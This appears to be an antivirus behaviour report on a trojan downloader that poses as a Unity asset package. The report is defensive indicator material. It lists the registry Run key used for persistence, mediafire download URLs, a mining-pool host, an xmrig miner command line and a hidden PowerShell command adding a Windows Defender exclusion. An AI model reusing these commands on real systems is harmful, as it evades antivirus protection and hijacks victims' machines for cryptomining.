Trojan.DownLoader33.3894

To ensure autorun and distribution

Modifies the following registry keys

[<HKCU>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'Engine' = '%LOCALAPPDATA%\ZeroBit\_Main\Engine.exe'

Modifies file system

Creates the following files

Deletes the following files

Network activity

TCP

HTTP GET requests

http://www.me###fire.com/file/11k4y8fgtk10z58/Liam_Lowpoly_Character_v2.1.unitypackage/file
http://do######1773.mediafire.com/bs5b1b3fswzg/ucymsonx3lgetpu/DFR.exe.txt
http://do######1412.mediafire.com/5ff5an37vifg/hqjckf8fzl0asb4/Trans.tin.txt
http://do######1406.mediafire.com/kl58gi06o8bg/fibstz3b6ko80sb/ConfigC.vz.txt
http://do######1241.mediafire.com/1b5nwj5ekcfg/dhdv11viynrr9m3/config.json.txt
http://do######1157.mediafire.com/ropmcvvxknrg/6zqid2981ackmz5/FilesIndex.txt.txt
http://do######2262.mediafire.com/qo5kfdsrz0jg/pxqqjzo65lj8me6/Engine.exe.txt
http://www.me###fire.com/file/nkdx0i8rx923wbf/Mercenary.exe.txt/file
http://www.me###fire.com/file/ucymsonx3lgetpu/DFR.exe.txt/file
http://www.me###fire.com/file/luxh8hk0856ek5c/XO.exe.txt/file
http://www.me###fire.com/file/fibstz3b6ko80sb/ConfigC.vz.txt/file
http://www.me###fire.com/file/hqjckf8fzl0asb4/Trans.tin.txt/file
http://www.me###fire.com/file/dhdv11viynrr9m3/config.json.txt/file
http://www.me###fire.com/file/pxqqjzo65lj8me6/Engine.exe.txt/file
http://www.me###fire.com/file/6zqid2981ackmz5/FilesIndex.txt.txt/file
http://google.com/generate_204
http://www.download.windowsupdate.com/msdownload/update/v3/static/trustedr/en/02FAF3E291435468607857694DF5E45B68851868.crt
http://do######853.mediafire.com/uooe33x7j1tg/11k4y8fgtk10z58/Liam+Lowpoly+Character+v2.1.unitypackage
http://do#####d1.mediafire.com/2o8k5yayi1hg/luxh8hk0856ek5c/XO.exe.txt
http://do######650.mediafire.com/xro0hjnk93eg/nkdx0i8rx923wbf/Mercenary.exe.txt

'me###fire.com':443

'do######1645.mediafire.com':443

'vz######ller.blogspot.com':443

'do######2158.mediafire.com':443

'do######2260.mediafire.com':443

'52.##.155.119':3333

UDP

Miscellaneous

Creates and executes the following

'%LOCALAPPDATA%\zerobit\_main\engine.exe'
'%LOCALAPPDATA%\zerobit\_update\seed.exe'
'%LOCALAPPDATA%\zerobit\_main\xmrig.exe' xmrig.exe -o 52.77.155.119:3333 --rig-id Zforce -t1
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath %LOCALAPPDATA%\ZeroBit' (with hidden window)
'%LOCALAPPDATA%\zerobit\_main\engine.exe' ' (with hidden window)
'%LOCALAPPDATA%\zerobit\_main\xmrig.exe' xmrig.exe -o 52.77.155.119:3333 --rig-id Zforce -t1' (with hidden window)

Executes the following